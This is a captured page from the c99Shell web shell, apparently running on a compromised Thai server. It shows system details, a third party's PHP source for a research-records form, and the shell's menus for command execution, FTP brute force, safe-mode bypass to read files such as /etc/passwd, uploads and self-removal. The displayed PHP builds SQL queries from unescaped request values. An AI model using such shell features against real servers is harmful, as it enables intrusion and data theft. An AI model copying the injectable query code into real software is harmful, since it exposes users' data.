!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 52.64 GB of 127.8 GB (41.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddSuccess.php (15.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

	session_start();
	
	/**  Define Validate Access  */
	define( '_VALID_ACCESS', 1 );

	/**  Check Session User Login  */
	if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
		echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
		echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
		echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
		exit();
	} 
	else {
		/**  Configuration  */
		require_once( "../configuration.php" );
		require_once( $_Config_absolute_path . "/includes/framework.php" );
		require_once( "../includes/Function.php" );
	
		/**  Create Database Object  */
		$dbObj = new DBConn;

		//=== SESSION
		$Username = $valid_user; 
		
		
		/**  Config Table for This Page  */
		$myTable1 = "user_tb";
		$myTable2 = "research_tb";
		$myTable3 ="research_success_tb"; 
		$myTable2PK = "ResearchId";
		
		/**  Table  -->  personal_tb  */
		
		  $sql = " SELECT * FROM  $myTable2   WHERE   Research_code= '$Research_code'  ";
		  $result1 = mysql_query($sql) or die("Error".mysql_error());
		  $rss1= mysql_fetch_array($result1);
         
		    $sql= " SELECT * FROM  $myTable3     WHERE  Research_code= '$Research_code'  ";
	        $result3 = mysql_query($sql) or die("Error".mysql_error());
		     $rss2= mysql_fetch_array($result3);
			
		/**  โฟลเดอร์ไฟล์เอกสาร */
		$doc_path = $_Config_live_site."/Research_pic";			
	} # else
 ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร  - ข้อมูลงานวิจัย - ผลงานการวิจัย</title>
<style type="text/css">
<!--
.style22 {font-size: 14px; font-weight: bold; }
-->
</style>
</head>


<script language="JavaScript" type="text/JavaScript">
function browse()
{
	form1.Filetex.src = form1.Filetex.value;
}
</script>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
	include("../templates/incHeader.php");
?>
<table width="1004" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="206" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php  include("./_incMainMenu.php");?></td>
    <td width="798" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="772" border="0" cellspacing="0" cellpadding="0">
      <form action="EditSuccess.php?Research_code=<?=$Research_code;?>" method="post" enctype="multipart/form-data" name="form1" id="form1" onsubmit="return checkData();">
      <tr>
        <td width="772" height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <span class="NOTE">ตัวชี้วัดตามแผนกลยุทธ์ที่ 6.4</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="right"><span style="padding-bottom:5px">
          <input type="button" name="button" id="button" value="ข้อมูลงานวิจัย" style="color:darkgreen; width:100px; cursor:hand" onclick="location.href='ResearchDetail.php?Research_code=<?=$Research_code;?>'" />
          <input type="button" name="button" id="button" value="บันทึกตัวชี้วัด 8.1" style="color:darkgreen; width:130px; cursor:hand" onclick="location.href='Addknowledge.php?Research_code=<?=$Research_code;?>'" />
        </span></td>
      </tr>
      <tr>
        <td align="center">&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><table width="766" border="0" cellpadding="1" cellspacing="1" bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
                      <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
                        <td height="100%" colspan="3" align="center" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><p align="center"><strong>ตัวชี้วัดตามแผนกลยุทธ์ที่ </strong><strong>6.4</strong></td>
                      </tr>
                      <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
                        <td height="100%" colspan="3" align="right" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14"><table width="636" border="0" align="center">
                          <tr>
                            <th width="684" class="BORDER-GREY-LIGHT" scope="col"><p style="color: #DC143C; font-weight: normal;">
                               ระดับความสำเร็จของการมีระบบและกลไกการเสริมสร้างแรงจูงใจในการผลิตผลงานวิชาการและการประเมินผลงานวิชาการ<br />
                               วิทยาลัยของท่านได้ดำเนินงานพัฒนาระบบและกลไกการเสริมสร้างแรงจูงใจในการผลิตผลงานวิชาการตามขั้นตอน ดังนี้ แล้ว<br />
                              คำอธิบาย :&nbsp; ความสำเร็จของการมีระบบและกลไกการสร้างแรงจูงใจในการผลิตผลงานวิชาการ  หมายถึง<br /> การที่หน่วยงานจัดระบบหรือพัฒนาระเบียบ                               วิธีการให้ทุนหรือจัดหาทุนในการผลิตผลงานวิชาการ การจัดหาผู้เชี่ยวชาญ, <br />การพัฒนาความรู้ด้านการผลิตผลงานวิชาการ,
                               การกำหนดเกณฑ์ภาระงานด้านการผลิตผลงานวิชาการ, <br />การสนับสนุนการเผยแพร่ผลงาน  เช่น จัดเวทีนำเสนอผลงาน ฯลฯ และกิจกรรมอื่นๆ  <br />          
                               ที่กระตุ้นส่งเสริมให้บุคคล/อาจารย์ในวิทยาลัยของตนเร่งผลิตผลงานวิชาการโดยมีขั้นตอนดังนี้ <br />
                              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ขั้นตอนที่ 1  มีการประชุมพัฒนาระบบและกลไกฯ ร่วมกันภายในหน่วยงาน <br />
                              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ขั้นตอนที่ 2  มีการกำหนดกิจกรรม/โครงการตามระบบและกลไกฯ ของหน่วยงาน <br />
                              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ขั้นตอนที่ 3 มีการดำเนินงานตามระบบและกลไกฯ  ของหน่วยงาน <br />
                              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ขั้นตอนที่  4 มีการประเมินผลการดำเนินงานตามระบบและกลไกฯของหน่วยงาน<br />
                              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ขั้นตอนที่  5 มีการพัฒนาระบบและกลไกฯจากผลการประเมิน</p></th>
                          </tr>
                        </table></td>
                      </tr>
                      <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
                        <td height="100%" colspan="3" align="left" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">&nbsp;&nbsp;ชื่อโครงการงานวิจัย : <?php echo htmlspecialchars_decode( nl2br( $rss1['Research_name'] ) ); ?></span></td>
                      </tr>
                      <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
                        <td height="100%" colspan="3" align="left" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="style14">&nbsp;&nbsp; หน่วยงาน</font>
                          <?php
		 	 $sql = "Select * From   college    Where  collegeStatus='1' ";
          $result2 = mysql_query($sql) or die("Error".mysql_error());
		  $rss4 = mysql_fetch_array($result2);
         	echo"<option value=\"$rss4[collegeCode]\" >$rss4[collegeName]</option>\n";
		 ?>
                          <input name="collegeCode" type="hidden" id="collegeCode" value="<? echo $rss4[collegeCode]?>" />
                        </font></td>
                      </tr>
                      <tr>
                        <td colspan="3" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ขั้นตอนการดำเนินการ</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF"><table width="89%" border="0" align="left" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                          <?php
		     		   
			     $query = " SELECT *  FROM $myTable3      ";
	        	 $result2 = $dbObj->execQuery($query);
        		  $numrows = $dbObj->_numrows;   
		          $collegeCode = $rs->collegeCode;
		          ?>
                          <?php
		 $sql = "Select * From  $myTable3   Where Success='1'  and  Research_code='$Research_code'   ";
          $result1 = mysql_query($sql) or die("Error".mysql_error());
		  $rs1 = mysql_fetch_array($result1);  
          ?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td width="5%" height="22" align="center" bgcolor="#FFFFFF"><input name="Success" type="radio"  <?php if (!(strcmp("$rs1[Success]","1"))) {echo "checked";} ?>  value="1"   /></td>
                            <td width="95%" align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5"></a>ไม่มีการดำเนินงาน 
                              </td>
                          </tr>
                          <?php
		 $sql = "Select * From  $myTable3   Where  Research_code='$Research_code'  and  Success='2' ";
          $result1 = mysql_query($sql) or die("Error".mysql_error());
		  $rs2 = mysql_fetch_array($result1);  
          ?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="Success" type="radio"  <?php if (!(strcmp("$rs2[Success]","2"))) {echo "checked";} ?> value="2"   /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5">
                              
                             มีการดำเนินงานในขั้นตอนที่  1</li>
                            </td>
                          </tr>
                          <?php
		 $sql = "Select * From  $myTable3   Where   Success='3'  and   Research_code='$Research_code'   "; 
          $result1 = mysql_query($sql) or die("Error".mysql_error());
		  $rs3 = mysql_fetch_array($result1);  
          ?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="Success" type="radio"  <?php if (!(strcmp("$rs3[Success]","3"))) {echo "checked";} ?> value="3"   /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5">มีการดำเนินงานในขั้นตอนที่ 1+ 2</td>
                          </tr>
                          <?php
		 $sql = "Select * From  $myTable3   Where Success='4'   and Research_code='$Research_code'   ";
          $result1 = mysql_query($sql) or die("Error".mysql_error());
		  $rs4= mysql_fetch_array($result1);  
          ?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="Success" type="radio" <?php if (!(strcmp("$rs4[Success]","4"))) {echo "checked";} ?>  value="4"   /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5">มีการดำเนินงานในขั้นตอนที่ 1+2+3</td>
                          </tr>
                             <?php
		 $sql = "Select * From  $myTable3   Where Success='5'   and   Research_code='$Research_code'   ";
          $result1 = mysql_query($sql) or die("Error".mysql_error());
		  $rs5= mysql_fetch_array($result1);  
          ?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="Success" type="radio"  <?php if (!(strcmp("$rs5[Success]","5"))) {echo "checked";} ?>  value="5"   /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5">มีการดำเนินงานในขั้นตอนที่ 1+2+3+4</td>
                          </tr>
                            <?php
		 $sql = "Select * From  $myTable3   Where Success='6'   and  Research_code='$Research_code'   ";
          $result1 = mysql_query($sql) or die("Error".mysql_error());
		  $rs6= mysql_fetch_array($result1);  
          ?>
                          <tr bgcolor="<?=$bgColor;?>">
                            <td height="22" align="center" bgcolor="#FFFFFF"><input name="Success" type="radio"  <?php if (!(strcmp("$rs6[Success]","6"))) {echo "checked";} ?>  value="6"   /></td>
                            <td align="left" bgcolor="#FFFFFF" class="PADDING-LEFT-5">มีการดำเนินงานในขั้นตอนที่ 1+2+3+4+5</td>
                          </tr>
                                                </table></td>
                      </tr>
                      <tr>
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
                      <tr>
                             <td height="22" colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                      </tr>
                      <tr>
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
                      <tr >
                        <td height="25" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="25" bgcolor="#FFFFFF">&nbsp;</td>
                        <td height="25" align="center" bgcolor="#FFFFFF"> 
                          <input name="Knowledge" type="hidden" id="Knowledge" value="<?php echo $rss2['Knowledge']; ?>" />
                          <input name="Research_code" type="hidden" id="Research_code" value="<?php echo $rss1['Research_code']; ?>" />
                          <input name="action" type="submit" class="WIDTH60 CURSOR-HAND" id="action" onclick="return confirmSubmit(this.form);" value="บันทึก"  />
                          &nbsp;
                          <input name="Reset" type="reset" class="WIDTH60 CURSOR-HAND" id="Reset" value="รีเซ็ต" />
                          &nbsp;&nbsp;
                          <input name="Button" type="button" id="Reset" value="ยกเลิก" class="CURSOR-HAND WIDTH60" onclick="location.href='ResearchByYear.php?Teacher_code<?=$Teacher_code;?>'" /></td>
                      </tr>
                      <tr >
                        <td height="18" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                      </tr>
            </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
	/**  Free Resource */
	$dbObj->freeresult($result0);
	
	/**  Close the Database  */
	$dbObj->disconn();
	
	/**  Unset Class  */
	unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]--